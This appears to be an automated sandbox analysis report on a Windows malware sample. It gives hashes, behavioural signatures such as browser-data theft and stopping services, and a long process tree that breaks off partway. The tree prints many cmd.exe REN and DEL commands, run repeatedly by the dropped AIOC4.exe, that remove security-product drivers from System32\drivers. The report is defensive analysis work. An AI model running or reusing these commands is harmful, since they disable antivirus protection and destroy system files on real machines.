Analysis
-
max time kernel
169s -
max time network
173s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
-
submitted
25-11-2022 03:28
General
-
Target
74161da72b92f3dc29efa72b75dcf86c.exe
-
Size
19.9MB
-
MD5
74161da72b92f3dc29efa72b75dcf86c
-
SHA1
8490c1331b1c40ce986306d5dda51670f93fd78c
-
SHA256
6e83d9e27d565709d8ee5980ff30cd4db9f0ffaf57ff81fdcca468556e189ad2
-
SHA512
ced5b9e9358e9ebeed90d1f65fa994adcc55efb3ec9de1e382e671bd584777733ade7bb309031674797d68b8338cd79873a3e467a831ade9fb8159be96b58c5f
-
SSDEEP
393216:Dowc0wiNiY5FZqOlRQKihdkdByFFCEJnBdTikjkDAWIjoS1SpyEeqBAClYljKAgA:pXbeOyFFCYBdTikgcWxS1OdeqGCluCAF
Score
8/10
Malware Config
Signatures
-
Drops file in Drivers directory 2 IoCs
-
Executes dropped EXE 14 IoCs
-
Possible privilege escalation attempt 4 IoCs
-
Sets file execution options in registry 2 TTPs 7 IoCs
-
Stops running service(s) 3 TTPs
-
UPX packed file 7 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Loads dropped DLL 18 IoCs
-
Modifies file permissions 1 TTPs 4 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops file in Program Files directory 64 IoCs
-
Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates processes with tasklist 1 TTPs 9 IoCs
-
Kills process with taskkill 64 IoCs
-
Modifies Internet Explorer settings 1 TTPs 16 IoCs
-
Runs ping.exe 1 TTPs 15 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\74161da72b92f3dc29efa72b75dcf86c.exe"C:\Users\Admin\AppData\Local\Temp\74161da72b92f3dc29efa72b75dcf86c.exe"1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Program Files\AIOC4\StartNetApp.exe"C:\Program Files\AIOC4\StartNetApp.exe"2⤵
- Executes dropped EXE
- Sets file execution options in registry
- Loads dropped DLL
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\s_a.exe"C:\ProgramData\s_a.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\AIOC4\AIOC4.exe"C:\Program Files\AIOC4\AIOC4.exe"3⤵
- Executes dropped EXE
- Sets file execution options in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\360* 360*.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\BAPIDRV64.sys BAPIDRV64.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\360*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\BAPIDRV64.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\qmbsecx64.sys qmbsecx64.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\qmbsecx64.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\TAOAcceleratorEx64_ev.sys TAOAcceleratorEx64_ev.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\TAOAcceleratorEx64_ev.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\TAOKernelEx64_ev.sys TAOKernelEx64_ev.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\TAOKernelEx64_ev.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\TFsFltX64_ev.sys TFsFltX64_ev.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\TFsFltX64_ev.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kdhacker_ev.sys kdhacker_ev.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kdhacker_ev.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kdhacker64_arm.sys kdhacker64_arm.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kdhacker64_arm.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kdhacker64_ev.sys kdhacker64_ev.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kdhacker64_ev.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\ksskrpr.sys ksskrpr.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\ksskrpr.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kavbootc_ev.sys kavbootc_ev.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kavbootc_ev.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kavbootc64_arm.sys kavbootc64_arm.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kavbootc64_arm.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kavbootc64_ev.sys kavbootc64_ev.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kavbootc64_ev.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisboot.sys kisboot.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisboot.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisboot64.sys kisboot64.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisboot64.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kiscore.sys kiscore.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisknl.sys kisknl.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kiscore.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisknl.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisknl_del.sys kisknl_del.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisknl_del.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisknl64_arm.sys kisknl64_arm.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisknl64_arm.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetflt.sys kisnetflt.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetflt.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetflt64_arm.sys kisnetflt64_arm.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetflt64_arm.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetm_ev.sys kisnetm_ev.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetm_ev.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetm64_arm.sys kisnetm64_arm.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetm64_arm.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetm64_ev.sys kisnetm64_ev.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetm64_ev.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetmxp.sys kisnetmxp.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetmxp.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\ksapi.sys ksapi.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\ksapi.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\ksapi64.sys ksapi64.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\ksapi64.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\ksapi64_arm.sys ksapi64_arm.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\ksapi64_arm.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kusbquery.sys kusbquery.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kusbquery.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kusbquery64.sys kusbquery64.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kusbquery64.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\tfossiksy.sys tfossiksy.sys.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\tfossiksy.sys*4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\2345* 2345*.remove4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\2345*4⤵
-
C:\Program Files\AIOC4\PrimaryScreen.exe"PrimaryScreen.exe" ScaleX4⤵
- Executes dropped EXE
-
C:\Program Files\AIOC4\AIOC4.exe"C:\Program Files\AIOC4\AIOC4.exe"4⤵
- Executes dropped EXE
- Modifies Internet Explorer settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\360* 360*.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\BAPIDRV64.sys BAPIDRV64.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\360*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\BAPIDRV64.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\qmbsecx64.sys qmbsecx64.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\qmbsecx64.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\TAOAcceleratorEx64_ev.sys TAOAcceleratorEx64_ev.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\TAOAcceleratorEx64_ev.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\TAOKernelEx64_ev.sys TAOKernelEx64_ev.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\TAOKernelEx64_ev.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\TFsFltX64_ev.sys TFsFltX64_ev.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\TFsFltX64_ev.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kdhacker_ev.sys kdhacker_ev.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kdhacker_ev.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kdhacker64_arm.sys kdhacker64_arm.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kdhacker64_arm.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kdhacker64_ev.sys kdhacker64_ev.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kdhacker64_ev.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\ksskrpr.sys ksskrpr.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\ksskrpr.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kavbootc_ev.sys kavbootc_ev.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kavbootc_ev.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kavbootc64_arm.sys kavbootc64_arm.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kavbootc64_arm.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kavbootc64_ev.sys kavbootc64_ev.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kavbootc64_ev.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisboot.sys kisboot.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisboot.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisboot64.sys kisboot64.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisboot64.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kiscore.sys kiscore.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kiscore.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisknl.sys kisknl.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisknl.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisknl_del.sys kisknl_del.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisknl_del.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisknl64_arm.sys kisknl64_arm.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisknl64_arm.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetflt.sys kisnetflt.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetflt.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetflt64_arm.sys kisnetflt64_arm.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetflt64_arm.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetm_ev.sys kisnetm_ev.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetm_ev.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetm64_arm.sys kisnetm64_arm.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetm64_arm.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetm64_ev.sys kisnetm64_ev.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetm64_ev.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetmxp.sys kisnetmxp.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetmxp.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\ksapi.sys ksapi.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\ksapi.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\ksapi64.sys ksapi64.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\ksapi64.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\ksapi64_arm.sys ksapi64_arm.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\ksapi64_arm.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kusbquery.sys kusbquery.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kusbquery.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kusbquery64.sys kusbquery64.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kusbquery64.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\tfossiksy.sys tfossiksy.sys.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\tfossiksy.sys*5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\2345* 2345*.remove5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\2345*5⤵
-
C:\Program Files\AIOC4\PrimaryScreen.exe"PrimaryScreen.exe" ScaleX5⤵
- Executes dropped EXE
-
C:\Windows\system32\CMD.exe"CMD" /C ver5⤵
-
C:\Program Files\AIOC4\AIOC4.exe"C:\Program Files\AIOC4\AIOC4.exe"5⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Modifies Internet Explorer settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\360* 360*.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\BAPIDRV64.sys BAPIDRV64.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\360*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\BAPIDRV64.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\qmbsecx64.sys qmbsecx64.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\qmbsecx64.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\TAOAcceleratorEx64_ev.sys TAOAcceleratorEx64_ev.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\TAOAcceleratorEx64_ev.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\TAOKernelEx64_ev.sys TAOKernelEx64_ev.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\TAOKernelEx64_ev.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\TFsFltX64_ev.sys TFsFltX64_ev.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\TFsFltX64_ev.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kdhacker_ev.sys kdhacker_ev.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kdhacker_ev.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kdhacker64_arm.sys kdhacker64_arm.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kdhacker64_arm.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kdhacker64_ev.sys kdhacker64_ev.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kdhacker64_ev.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\ksskrpr.sys ksskrpr.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\ksskrpr.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kavbootc_ev.sys kavbootc_ev.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kavbootc_ev.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kavbootc64_arm.sys kavbootc64_arm.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kavbootc64_arm.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kavbootc64_ev.sys kavbootc64_ev.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kavbootc64_ev.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisboot.sys kisboot.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisboot.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisboot64.sys kisboot64.sys.remove6⤵
-
